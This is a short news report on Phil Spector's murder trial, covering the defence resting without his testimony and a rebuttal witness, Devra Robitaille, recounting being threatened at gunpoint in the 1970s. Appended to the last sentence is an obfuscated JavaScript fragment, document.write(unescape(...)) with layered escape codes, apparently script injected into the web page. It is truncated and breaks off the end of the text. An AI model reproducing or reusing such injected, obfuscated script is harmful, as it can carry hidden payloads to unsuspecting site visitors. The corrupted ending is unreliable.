Phil Spector silent

The defence has tentatively rested in Phil Spector's murder trial without calling the music producer to testify on his own behalf.

Meanwhile, a woman told the court that the music producer threatened her at gunpoint in the 1970s when she tried to leave his house, a scenario similar to that described by four other women called earlier by the prosecution.

Devra Robitaille was called as a witness in the prosecution's rebuttal case, a move that was opposed by the defence but allowed by the judge.

Spector, 67, is accused of murdering actress Lana Clarkson, 40, on February 3, 2003, a few hours after she went home with him from her job as a nightclub hostess.

She died from a gunshot fired inside her mouth. The defence claims she shot herself. Robitaille, a musician, was an administrator for Spector's company, Warner Spector Records. She said they became friends and eventually had a romantic relationship.

One night she attended a "soiree" at his home. When the party ended in the early hours of the morning, Robitaille said, she told Spector she was going home.

"He said no and locked the door," she said. "I remember standing in the lobby with a door in front of me and when I turned there was a gun pointed at my temple. It was like a long-barrelled shotgun.

"He said, 'If you leave I'll blow your head off.' ... He was screaming at me at that point."

Robitaille said Spector told her "you're not going anywhere", but after she calmly asked him to stop, he put it down and let her out.

She said that after the incident she did not leave her job because "I sort of rationalised it, that it was silly. I'd known him. He was my friend and I loved my job".document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;